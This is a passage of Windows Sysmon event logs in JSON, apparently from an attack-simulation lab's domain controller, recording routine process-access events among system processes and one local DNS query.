11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6334,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6335,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6336,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010B0310900}\r\nTargetProcessId: 4708\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010B0310900}","TargetProcessId":"4708","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6337,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010CF310900}\r\nTargetProcessId: 604\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010CF310900}","TargetProcessId":"604","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6338,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.979\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010B0310900}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4596\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nTargetProcessId: 4360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.979","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010B0310900}","SourceProcessId":"4708","SourceThreadId":"4596","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","TargetProcessId":"4360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6339,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.979\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010CF310900}\r\nSourceProcessId: 604\r\nSourceThreadId: 2692\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00107E300900}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.979","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010CF310900}","SourceProcessId":"604","SourceThreadId":"2692","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00107E300900}","TargetProcessId":"4160","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":6340,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.818\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041C30000}\r\nProcessId: 1212\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.818","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041C30000}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6341,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.041\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-001026310900}\r\nSourceProcessId: 4360\r\nSourceThreadId: 3956\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001061360900}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.041","SourceProcessGUID":"{90617006-422C-5F2D-0000-001026310900}","SourceProcessId":"4360","SourceThreadId":"3956","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\NGenTask.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001061360900}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.dll+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.DLL+32979|UNKNOWN(00007FF8EA445147)","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6342,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001061360900}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001061360900}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.041\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-0010B0310900}\r\nSourceProcessId: 4708\r\nSourceThreadId: 4596\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001061360900}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.041","SourceProcessGUID":"{90617006-422C-5F2D-0000-0010B0310900}","SourceProcessId":"4708","SourceThreadId":"4596","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001061360900}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001061360900}\r\nTargetProcessId: 3376\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001061360900}","TargetProcessId":"3376","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll